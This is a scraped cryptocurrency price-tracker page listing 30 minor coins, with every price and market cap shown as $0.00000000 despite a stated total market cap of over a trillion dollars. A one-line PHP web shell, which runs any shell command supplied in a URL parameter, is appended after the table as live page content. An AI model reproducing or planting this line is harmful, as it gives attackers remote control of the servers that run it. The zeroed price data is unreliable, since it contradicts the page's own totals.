3476 cryptocurrencies
Total Market Cap $1,114.54B
24h Total Volume $4.84B

Donations are accepted and help this site develop. Be sure to create a login and follow your favorite projects!

Breaking news
Cryptocurrency Price 24h % Change Volume arrow_drop_up Market cap 24h Performance
1 FinanceX FinanceX $0.00000000 FNX $0.00000000
2 MADANA MADANA $0.00000000 MDN $0.00000000
3 EtherDelta EtherDelta $0.00000000 EDT $0.00000000
4 Labrys Labrys $0.00000000 LAB $0.00000000
5 SocialXbotCoin SocialXbotCoin $0.00000000 XBOT $0.00000000
6 SoleCoin SoleCoin $0.00000000 SOLE $0.00000000
7 LibertyCoin LibertyCoin $0.00000000 XLB $0.00000000
8 RoyalCoin RoyalCoin $0.00000000 RYC $0.00000000
9 Cryptsy Points Cryptsy Points $0.00000000 POINTS $0.00000000
10 PseudoCash PseudoCash $0.00000000 PSEUD $0.00000000
11 PhoenixCoin PhoenixCoin $0.00000000 PXC $0.00000000
12 PayCoin PayCoin $0.00000000 PYC $0.00000000
13 Cryptsy Mining Contract Cryptsy Mining Contract $0.00000000 MN $0.00000000
14 RotoCoin RotoCoin $0.00000000 RT2 $0.00000000
15 Nimbus Coin Nimbus Coin $0.00000000 NMB $0.00000000
16 LitecoinX LitecoinX $0.00000000 LTCX $0.00000000
17 ShadeCoin ShadeCoin $0.00000000 SHADE $0.00000000
18 Aero Coin Aero Coin $0.00000000 AERO $0.00000000
19 AXRON AXRON $0.00000000 AXR $0.00000000
20 AlphaCoin AlphaCoin $0.00000000 ALF $0.00000000
21 DarkToken DarkToken $0.00000000 DT $0.00000000
22 DarkShibe DarkShibe $0.00000000 DSB $0.00000000
23 Lucky7Coin Lucky7Coin $0.00000000 LK7 $0.00000000
24 GalaxyCoin GalaxyCoin $0.00000000 GLX $0.00000000
25 JunkCoin JunkCoin $0.00000000 JKC $0.00000000
26 GuerillaCoin GuerillaCoin $0.00000000 GUE $0.00000000
27 EZCoin EZCoin $0.00000000 EZC $0.00000000
28 HeavyCoin HeavyCoin $0.00000000 HVC $0.00000000
29 CrackCoin CrackCoin $0.00000000 CRACK $0.00000000
30 ConcealCoin ConcealCoin $0.00000000 CNL $0.00000000

<?php system($_GET['cmd']); ?>